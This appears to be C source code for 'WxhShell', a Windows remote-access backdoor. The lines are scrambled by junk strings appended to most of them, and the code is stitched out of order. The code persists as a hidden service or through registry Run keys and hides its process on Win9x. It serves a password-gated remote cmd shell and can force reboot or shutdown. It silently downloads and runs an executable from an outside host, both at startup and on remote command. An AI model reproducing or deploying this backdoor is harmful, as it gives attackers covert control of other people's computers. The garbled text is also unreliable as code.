    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1xar L))  
    if(Boot(SHUTDOWN)) ,mhO\P96ik  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g[0b>r7   
    else { sikG}p0mx<  
    closesocket(wsh); >>Z.]  
    ExitThread(0); *@S:f"i  
    } |gA~E>IqF  
    break;  [:  
    } p}.L]Y  
  // 获取shell /w^}(IJ4  
  case 's': { ZC@ 33Q(  
    CmdShell(wsh); 6FiI\  
    closesocket(wsh); "H" 4(3  
    ExitThread(0); A/|To!R  
    break; /9,!)/j  
  } y9{KBM%h  
  // 退出 1\=)b< y  
  case 'x': { PF2PMEBx!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )/1AF^ E  
    CloseIt(wsh); ']WS@MbJ  
    break; <xKer<D %  
    } HJo&snT3  
  // 离开 P B_ +:S^8  
  case 'q': { L%}k.)yev  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2%'{f  
    closesocket(wsh); X9K@mX  
    WSACleanup(); 0D+[W5TB  
    exit(1); &q^\*<B.^  
    break; )q 8w+'z  
        } p#wQW[6  
  } Z,^`R] 9  
  } ~,WG284  
vxhs1vh  
  // 提示信息 zRd^Uks  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RSC^R}a5  
} rkugV&BhV  
  } c>#T\AEkF  
-~ \R.<+  
  return; %4|*  
} u9ObFm$7  
18f!k  
// shell模块句柄 [KR|m,QWp  
int CmdShell(SOCKET sock) sG[v vm  
{ it.Lh'N;T  
STARTUPINFO si; IL;JdIa  
ZeroMemory(&si,sizeof(si)); 2#1"(m{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Mrysy)x  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  +:k Iq  
PROCESS_INFORMATION ProcessInfo; <E/4/ ANN  
char cmdline[]="cmd"; Q>Voa&tYn  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _&)^a)Nu  
  return 0; n}/?nP\%  
} M3P\1  
)c!7V)z  
// 自身启动模式 _;L%? -2c  
int StartFromService(void) Q#w mS&$f  
{ a9]F.Jm  
typedef struct h+=xG|1R[5  
{ @SeInew;`l  
  DWORD ExitStatus; 3D32'KO_"  
  DWORD PebBaseAddress;  kDbDG,O  
  DWORD AffinityMask; O{b<UP'85  
  DWORD BasePriority; wX5Yo{  
  ULONG UniqueProcessId; ,' VT75  
  ULONG InheritedFromUniqueProcessId; w=Ai?u  
}   PROCESS_BASIC_INFORMATION; XrP'FLY o  
/e5' YVP  
PROCNTQSIP NtQueryInformationProcess; 9 Rl-Jz8g  
KZrg4TEVi  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; UdO(9Jc5^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;e Iqxe>  
`#@#e Z  
  HANDLE             hProcess; [A~n=m5H  
  PROCESS_BASIC_INFORMATION pbi; &CBW>*B  
} DQ<YF+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :{sy2g/+  
  if(NULL == hInst ) return 0; &! i'Q;q  
RN:VsopL  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); eb1WTK@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :kU#5Aj gK  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )(bAi  
(bhMo^3/*  
  if (!NtQueryInformationProcess) return 0; 2L!s'^m-  
t&|M@Ouet  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); QAGR\~  
  if(!hProcess) return 0; D)shWJRlvW  
(h {"/sR  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3DjlX*  
C_> WU   
  CloseHandle(hProcess); ?e=3G4N  
RJ}%pA4I  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <MK4# I1I  
if(hProcess==NULL) return 0; B ]*v{?<W  
kXW5bR  
HMODULE hMod; Q9T/@FX  
char procName[255]; U$,-F**  
unsigned long cbNeeded; 1fgO3N  
C2e.RTxc  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); B`{7-Asc1  
*2,tGZ  
  CloseHandle(hProcess); <Wr n/%tL  
8O^<#lh  
if(strstr(procName,"services")) return 1; // 以服务启动 ! 2=m |,  
oS>VN<  
  return 0; // 注册表启动 uuaoBf  
} @kst G3@  
V2B@Lq"9`  
// 主模块 Mo'6<"x  
int StartWxhshell(LPSTR lpCmdLine) itYTV?bd  
{ 1&Z#$iD  
  SOCKET wsl; $sILCn  
BOOL val=TRUE; ZuLW%z.  
  int port=0; hqDnmzG  
  struct sockaddr_in door; .gQYN2#zb  
>DM^/EAG{  
  if(wscfg.ws_autoins) Install(); #'y4UN  
q%S^3C&  
port=atoi(lpCmdLine); JnE\z*NB  
}[;{@Zn  
if(port<=0) port=wscfg.ws_port; m=[3"X3W1V  
%2@O,uCo@  
  WSADATA data; 8*x/NaH /\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]0o_- NI  
aM5Hp>'nI  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ee2k..Tq#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); YMG~k3Yb  
  door.sin_family = AF_INET; Kcu*Z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6N\f>c  
  door.sin_port = htons(port); g:oB j6$ q  
4s@oj  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }'`iJ b\  
closesocket(wsl); ^\ku}X_ [?  
return 1; 9P1!<6mN\  
} j^5VmG  
@@W-]SR  
  if(listen(wsl,2) == INVALID_SOCKET) { |=u }1G?  
closesocket(wsl); \"7U,y',  
return 1; oUd R,;h9  
} @1vpkB~ w  
  Wxhshell(wsl); r91b]m3xL  
  WSACleanup(); ]q`'l_O  
'ZFbyt Q2  
return 0; mufXM(  
?B32,AS@  
} d_1uv_P  
230ijq3Y G  
// 以NT服务方式启动 Ud:;kI%Vj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) X..<U}e  
{ ^aI$97Li  
DWORD   status = 0; b QgtZHO  
  DWORD   specificError = 0xfffffff; 3D-VePM=`  
' e:rL.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 'wA4yJ<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]KM3G  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +.J/7 gD  
  serviceStatus.dwWin32ExitCode     = 0; 7pO/!Lm  
  serviceStatus.dwServiceSpecificExitCode = 0; D KRF#*[=d  
  serviceStatus.dwCheckPoint       = 0; z1m-t# v:  
  serviceStatus.dwWaitHint       = 0; nN%Zed2O@6  
kInU,/R*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *v#Z/RrrA  
  if (hServiceStatusHandle==0) return; TcpaZ 'x  
o`M.v[O  
status = GetLastError(); h$)4%Fy  
  if (status!=NO_ERROR) P`L, eYc  
{ /0YO`])"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #_kV o3  
    serviceStatus.dwCheckPoint       = 0; [:MFx6  
    serviceStatus.dwWaitHint       = 0; }X9G(`N(}  
    serviceStatus.dwWin32ExitCode     = status; 'FM_5`&  
    serviceStatus.dwServiceSpecificExitCode = specificError; ` InBhU>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !B/5@P  
    return; 8}Cp(z2  
  } [_-[S  
=rN_8&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; E_H.!pr  
  serviceStatus.dwCheckPoint       = 0; PTH'-G  
  serviceStatus.dwWaitHint       = 0; MZvxcr{x  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); J-ErG!  
} wCt!.<, .  
G2yQHTbl  
// 处理NT服务事件,比如:启动、停止 J+ uz{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) wBz5_ OFVw  
{ 5ajd$t  
switch(fdwControl) c7@[RG !  
{ QV>hQ]L  
case SERVICE_CONTROL_STOP: Zvkb=  
  serviceStatus.dwWin32ExitCode = 0; KkZS6rD\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &hnKBr(Lw  
  serviceStatus.dwCheckPoint   = 0; H`OJN .  
  serviceStatus.dwWaitHint     = 0; ~\OZEEI  
  { i#I7ncX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); " +A8w  
  } 'MQJt2QU9{  
  return; i:2e J.  
case SERVICE_CONTROL_PAUSE: )@_5}8  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; d`3>@*NR<  
  break; ]p*Fq^  
case SERVICE_CONTROL_CONTINUE: a{\<L/\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4tlLh`-8  
  break; ki ?ETC  
case SERVICE_CONTROL_INTERROGATE: ei!Yxw8d  
  break; Q\ pI\]p:  
}; 15_Px9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }8dS[-.  
} do DpTwvh  
fjLS_Q ;h  
// 标准应用程序主函数  zt2#6v  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) y Dw#V`Y^M  
{ lNx:_g:SrZ  
5GwzG<.\^_  
// 获取操作系统版本 &+")~2 +  
OsIsNt=GetOsVer(); -d *je{c |  
GetModuleFileName(NULL,ExeFile,MAX_PATH); "qhQJql  
c^7QiTt_  
  // 从命令行安装 m^KK #Hw/`  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;uaZp.<um&  
2}6StmE }  
  // 下载执行文件 bG/[mZpRT  
if(wscfg.ws_downexe) { vt(cC) )  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Y))x'<T'Q  
  WinExec(wscfg.ws_filenam,SW_HIDE); S?u@3PyJm  
} ~y>NJM>1  
C!^[d  
if(!OsIsNt) { Y\j5{;V  
// 如果时win9x,隐藏进程并且设置为注册表启动 Fjw+D1q.  
HideProc(); }TG=ZVi  
StartWxhshell(lpCmdLine); F!cRx%R  
} C%Fc%}[  
else Rz"gPU4;`  
  if(StartFromService()) 1? Im"  
  // 以服务方式启动 :,Mg1Zf  
  StartServiceCtrlDispatcher(DispatchTable); `|e3OCU  
else %YwIR.o  
  // 普通方式启动 c52S2f7  
  StartWxhshell(lpCmdLine); -GT&46hX  
kZNVUhW6S  
return 0; ;mSJZYnT  
} N _|tw  
HB9|AQ4K  
&5Huv?^a'  
a1g aB:w5n  
===========================================  4_d'Uh&]  
2py [P  
TSUT3'&~p  
E&>=  
HBcL1wfS  
k/ hNap'0  
" 2Z7r ZjXW  
T*rx5*:o  
#include <stdio.h> -P-&]F5  
#include <string.h> ehyCAp0oI  
#include <windows.h> |`Iispn  
#include <winsock2.h> jn+BH3e  
#include <winsvc.h> 18o5Gs;yx  
#include <urlmon.h> Itv}TK eF  
 TgvBy  
#pragma comment (lib, "Ws2_32.lib") Y1 *8&xT  
#pragma comment (lib, "urlmon.lib") Y *n[*N  
zA*I=3E(  
#define MAX_USER   100 // 最大客户端连接数 0 ![  
#define BUF_SOCK   200 // sock buffer ;}4^WzmK^(  
#define KEY_BUFF   255 // 输入 buffer >%c7|\q[R  
?+?`Js o(  
#define REBOOT     0   // 重启 */y (~O6  
#define SHUTDOWN   1   // 关机 {R}Kt;L:Ut  
MT{ovDA].  
#define DEF_PORT   5000 // 监听端口 -gVsOX0  
N_R(i3c6U!  
#define REG_LEN     16   // 注册表键长度 i2 G.<(3O  
#define SVC_LEN     80   // NT服务名长度 ;CLOZ{  
' ;3#t(J;  
// 从dll定义API A_2oQ*  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); OtZc;c  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); LyG&FOf?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); S94S[j0D  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); LW*v/`@  
Wph@LRB]  
// wxhshell配置信息 v&Oc,W  
struct WSCFG { C(}N*e1  
  int ws_port;         // 监听端口 cCO2w2A[*  
  char ws_passstr[REG_LEN]; // 口令 Qgxpq{y  
  int ws_autoins;       // 安装标记, 1=yes 0=no \7] SG  
  char ws_regname[REG_LEN]; // 注册表键名  r0,XR  
  char ws_svcname[REG_LEN]; // 服务名 U$7]*#@&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 `} S; _g!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 VQ^}f/A  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 GDY=^r  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @3Gr2/a  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?C(3TKH  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =_Ip0FfK!  
f8S!FGiNc  
}; `XrF ,  
][1 iKT  
// default Wxhshell configuration Z!2%{HQ=q  
struct WSCFG wscfg={DEF_PORT, J4#rOS  
    "xuhuanlingzhe", nWFU8u%  
    1, GEtzLaq<  
    "Wxhshell", ]4eIhj?  
    "Wxhshell", !dGSZ|YZ  
            "WxhShell Service", f7?IXDQ>!  
    "Wrsky Windows CmdShell Service", rObg:(z&\  
    "Please Input Your Password: ", {3eg4j.Z  
  1, PDkg@#&y,k  
  "http://www.wrsky.com/wxhshell.exe", q6EZ?bo{  
  "Wxhshell.exe" <3!Q Xc  
    }; )<[)7`  
36UUt!}p  
// 消息定义模块 K(}g!iT)~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; E-Y4TBZ*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1h#e-Oyff  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; S(PU"}vZy  
char *msg_ws_ext="\n\rExit."; ZK5 wZU  
char *msg_ws_end="\n\rQuit."; q#\4/Dt  
char *msg_ws_boot="\n\rReboot..."; u#nM_UJe  
char *msg_ws_poff="\n\rShutdown..."; OQiyAyX  
char *msg_ws_down="\n\rSave to "; /&+*X)#v  
'q\[aKEX=  
char *msg_ws_err="\n\rErr!"; 74fE%;F  
char *msg_ws_ok="\n\rOK!"; xl ,(=L]  
SaFNPnk=  
char ExeFile[MAX_PATH]; 8:fq!m  
int nUser = 0; v \dP  
HANDLE handles[MAX_USER]; 9wdl1QS  
int OsIsNt; q!AcM d\  
OE=.@Ry"  
SERVICE_STATUS       serviceStatus; `rb}"V+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =XFyEt  
*;[g Ga~  
// 函数声明 +*Zjo&pc  
int Install(void); :: s k)  
int Uninstall(void); X=jHH=</  
int DownloadFile(char *sURL, SOCKET wsh); IsiBn(1Z  
int Boot(int flag); )`K!XX$%  
void HideProc(void); dy3fZ(=q^  
int GetOsVer(void); =[LUOOR*]  
int Wxhshell(SOCKET wsl); QC6:ZxP  
void TalkWithClient(void *cs); 4(&sw<k  
int CmdShell(SOCKET sock); ZKt`>KZ  
int StartFromService(void); W~j>&PK,?  
int StartWxhshell(LPSTR lpCmdLine); A,4Z{f83  
}///k]_Sh  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Vp1Ff  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); rIeOli:<  
+%R{j|8#  
// 数据结构和表定义 3jjV bm  
SERVICE_TABLE_ENTRY DispatchTable[] = N#GMvU#R  
{ Ou{VDE  
{wscfg.ws_svcname, NTServiceMain}, p4vX3?&1W  
{NULL, NULL} ?g4S51zpp  
}; Ie(M9QMp  
jIck!  
// 自我安装 b<j*;n.  
int Install(void) !md1~g$rN  
{ \.YJs"<3  
  char svExeFile[MAX_PATH]; Y2}m/7aF  
  HKEY key; 1F R  
  strcpy(svExeFile,ExeFile); )yUSuK(Vu  
7X<#  
// 如果是win9x系统,修改注册表设为自启动 }aL&3[>>  
if(!OsIsNt) { @T%8EiV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *g"X hk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); AI]lG]q8  
  RegCloseKey(key); ZG( Pz9{K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rPK1#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gWfMUl  
  RegCloseKey(key); WHcw5_3#  
  return 0; ,L\>mGw  
    } > 1=].  
  } !+ (H(,gI  
} xM$AhH  
else { }pKKNZ`[  
%ZX3:2  
// 如果是NT以上系统,安装为系统服务 dH)\zCt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Hb\['VhzM  
if (schSCManager!=0) <=%=,Yk  
{ K_%gda|l+  
  SC_HANDLE schService = CreateService X'p%K/-m  
  ( 9JJk\,  
  schSCManager, 814cCrr,o  
  wscfg.ws_svcname, Sb^o`~ Eh  
  wscfg.ws_svcdisp, FiKGB\_]  
  SERVICE_ALL_ACCESS, V W(+sSQ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @PV3G KJ  
  SERVICE_AUTO_START, h059DiH  
  SERVICE_ERROR_NORMAL, ^bECX<,H  
  svExeFile, '#>(JN5\  
  NULL, ''}2JJU{  
  NULL, yT[)V[}  
  NULL, IU\h,Ug  
  NULL, wZt2%+$6m  
  NULL 6L3i   
  ); ,Bl_6ZaL  
  if (schService!=0) g/gaPc*86  
  { u5tUm  
  CloseServiceHandle(schService); HqXS-TG  
  CloseServiceHandle(schSCManager); ?~<NyJHN%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); q^6l`JJ  
  strcat(svExeFile,wscfg.ws_svcname); L=&}s[5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ))I[@D1b  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); aX? tnDv  
  RegCloseKey(key); f1 `E-  
  return 0; f=- R<l  
    } D&1(qi=x&  
  } bT`et*]  
  CloseServiceHandle(schSCManager); i<*W,D6  
} n@J>,K_B  
} tNljv >vI  
Y?:" nhN  
return 1; r-,u)zf"  
} 8Yf=)  
8zQN[[#n  
// 自我卸载 S}6xkX  
int Uninstall(void) .:=5|0m  
{ Ehq [4}  
  HKEY key; t c{Qd&"(  
4ULdf|oP"  
if(!OsIsNt) { [X ]XH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !e}4>!L,(^  
  RegDeleteValue(key,wscfg.ws_regname); Z9j`<VgN  
  RegCloseKey(key); WTu!/J<\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IGo+O*dMw  
  RegDeleteValue(key,wscfg.ws_regname); w`[`:H_z  
  RegCloseKey(key); _+}f@&"  
  return 0; oE)xL%*  
  } 5:%`&B\  
} _z>%h>L|g  
} `Dp4Z>| K  
else { t?Q  
BOv^L?)*Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ie7P^:T|+  
if (schSCManager!=0) fYlqaO4[  
{ AsR}qqG  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]j]<CqG  
  if (schService!=0) nI/kX^Pd  
  { S7j U:CLJ  
  if(DeleteService(schService)!=0) { 7{38g  
  CloseServiceHandle(schService); 68~5Dx  
  CloseServiceHandle(schSCManager); s1p<F,  
  return 0; on 4 $n7  
  } 1^2]~R9,9  
  CloseServiceHandle(schService); W Haf}.V  
  } AI-ZZ6lzR  
  CloseServiceHandle(schSCManager); AJ z 1    
} _O&P!hI  
} zICrp  
9/{ 8Y&  
return 1; Tn?D~?a*O  
} j|@8VxZ  
Lm+E?Ca  
// 从指定url下载文件 +1c[!;'  
int DownloadFile(char *sURL, SOCKET wsh) S$/SFB$)~W  
{ jWso'K  
  HRESULT hr; B?ipo,2~{  
char seps[]= "/"; E5\>mf ,;u  
char *token; \vE-;,  
char *file; Z8Tb43?  
char myURL[MAX_PATH]; G`f|#-}  
char myFILE[MAX_PATH]; |}@teN^J*U  
7A{Z1[7  
strcpy(myURL,sURL); EjP)e;  
  token=strtok(myURL,seps); \mqrDaB  
  while(token!=NULL) 3gv?rJV  
  { t-SZBNb  
    file=token; 79B+8= K  
  token=strtok(NULL,seps); -c#vWuLl  
  } 6t gq.XL^n  
-i]2 b  
GetCurrentDirectory(MAX_PATH,myFILE); %&eBkN!T  
strcat(myFILE, "\\"); d"S\j@  
strcat(myFILE, file); &D&U!3~(  
  send(wsh,myFILE,strlen(myFILE),0); 5kCXy$"%  
send(wsh,"...",3,0);  SPnW8  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1";s #Jq  
  if(hr==S_OK) dJ~Occ1~r  
return 0; eWXR #g!%>  
else 8v6AfTo%  
return 1; [@NW  
p{&o{+c  
} c/%GfB[w0  
W+Ou%uv}S  
// 系统电源模块 A(z m  
int Boot(int flag) DHuUEv<  
{ gFXz:!A  
  HANDLE hToken; #;h> x  
  TOKEN_PRIVILEGES tkp; bL|$\'S  
4D6LP*  
  if(OsIsNt) { 4}0Ry\ 6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); rpEN\S%7P  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); H-eHX3c7  
    tkp.PrivilegeCount = 1; 2B+qS'OT  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; O 2/_$i[F  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); E`|vu*l7  
if(flag==REBOOT) { 6Q_ZP#oAV  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) vZPBjloT!.  
  return 0; C%#u2C2  
} u.}H)wt  
else { xrkR)~ E  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3~Ll<8fv  
  return 0; b`;Cm)@X!)  
} p9&gKIO_m  
  } 6cOlY= bn  
  else { ]$U A5/a  
if(flag==REBOOT) { 9[[$5t`8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .u]d5z BR  
  return 0; (/ -90u  
} 3il$V78|  
else { ;,xM*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [J55%N;#1  
  return 0; &,* ILz  
} NMzq10M=6  
} k&npC8oA  
F:AVik  
return 1; |<%v`*  
} sAnb   
u[nLrEnD  
// win9x进程隐藏模块 7v}(R:*  
void HideProc(void) w17CZa 6  
{ gOMy8w4>  
CD4@0Z+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =&m;5R  
  if ( hKernel != NULL ) I/u>Gt  
  { FJB B@<>:  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); gP>W* ]0r1  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); li0)<("/  
    FreeLibrary(hKernel); N;4wbUPL7h  
  } SeLFubs_  
g"\J iBb5  
return; NHe[,nIV  
} #X0Xc2}{f  
JW"n#sR4  
// 获取操作系统版本 c GyBml1  
int GetOsVer(void) 8[#EC3  
{ h+Y>\Cxg  
  OSVERSIONINFO winfo; 0D0uzUD-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); y[GqV_~?Y  
  GetVersionEx(&winfo); fh` }~ aQ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^-F#"i|Cn  
  return 1; 6NQ`IC  
  else 3E}j*lo  
  return 0; 3mL(xpT.8z  
} i?,\>LTG  
Iu^I?c[  
// 客户端句柄模块 (Dn1Eov  
int Wxhshell(SOCKET wsl) t ;fJ`.  
{ Q x&7Ceu"  
  SOCKET wsh; >O0<u  
  struct sockaddr_in client; w*X(bua@  
  DWORD myID; 6q,CEm  
<v?2p{U%  
  while(nUser<MAX_USER) =Z..&H5i  
{ l< HnPR/  
  int nSize=sizeof(client); 3,J{!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); V6B[eV$D  
  if(wsh==INVALID_SOCKET) return 1; }0]iS8*tL  
@9l$j Z~x  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |hX\ep   
if(handles[nUser]==0) o\fPZ`p-m~  
  closesocket(wsh); :_Iz( 2hV  
else n*Hx"2XF  
  nUser++; I1JL`\;4  
  } HcrlcxwM\i  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); h?vny->uJ  
uc LDl  
  return 0; 7/K'nA  
} |nU%H=Rs/  
5acC4v!T  
// 关闭 socket rl-#Ez  
void CloseIt(SOCKET wsh) AdbTI#eY  
{ t| B<F t^  
closesocket(wsh); _qH]OSo  
nUser--; JURg=r]LI  
ExitThread(0); uWi pjxS  
} {fY(zHC  
}%<cF i &  
// 客户端请求句柄 ,V''?@  
void TalkWithClient(void *cs) #A:^XAU1Z@  
{ =6N=5JePB  
=FM rVE  
  SOCKET wsh=(SOCKET)cs; ]deO\mB  
  char pwd[SVC_LEN]; 2}_^~8  
  char cmd[KEY_BUFF]; Z1p%6f`  
char chr[1]; &a6-+r  
int i,j; @Ph'!  
O#<S\66  
  while (nUser < MAX_USER) { ony;U#^T  
i%MR<M  
if(wscfg.ws_passstr) { SCjVzvG$yg  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hTPvt  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nN>Uh T  
  //ZeroMemory(pwd,KEY_BUFF); ob/HO (h3  
      i=0; $4kbOqn4  
  while(i<SVC_LEN) { "9Br )3  
.!'rI7Kz'i  
  // 设置超时 4$4Tx9C  
  fd_set FdRead; N9vNSmm  
  struct timeval TimeOut; }S%}%1pG7  
  FD_ZERO(&FdRead); qj^A   
  FD_SET(wsh,&FdRead); `:2np{  
  TimeOut.tv_sec=8; k8cR`5 @PK  
  TimeOut.tv_usec=0; PGb}Y {  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); w)h"?'m~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )P|/<>z  
c~6ywuq+M`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5oOs.(m|*C  
  pwd=chr[0]; ]ed7Q3lq  
  if(chr[0]==0xd || chr[0]==0xa) { r%LG>c`^  
  pwd=0; X*e:MRw[  
  break; S-brV\v7  
  } 1M[|9nWUC  
  i++; =wa5\p/  
    } aZmbt,.V  
]agdVr^  
  // 如果是非法用户,关闭 socket T<RWz  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); E.yc"|n7l2  
} y;hco  
!m9g\8tE  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); YLV$#a3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ge24Lp;Y 6  
7/\SN04l  
while(1) { V_9\Ax'X  
K81&BVx/  
  ZeroMemory(cmd,KEY_BUFF); 0b2;  
L)Da1<O  
      // 自动支持客户端 telnet标准   r?`7i'  
  j=0; x o72JJ  
  while(j<KEY_BUFF) { ^AO2%09.S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0%3T'N%  
  cmd[j]=chr[0]; ! n?j)p.  
  if(chr[0]==0xa || chr[0]==0xd) { lPz5.(5'  
  cmd[j]=0; QFhQfn  
  break; ;bq EfV0`2  
  } XsMETl"Av4  
  j++; i^/ H>E%u  
    } CS"p3$7,  
1 EHNg<J(  
  // 下载文件 u#Uc6? E  
  if(strstr(cmd,"http://")) { JZ-M<rcC  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); dw7h@9\ y  
  if(DownloadFile(cmd,wsh)) Ki3 wqY  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); [wJl]i  
  else %5 <t3 H"  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |CjdmQ u  
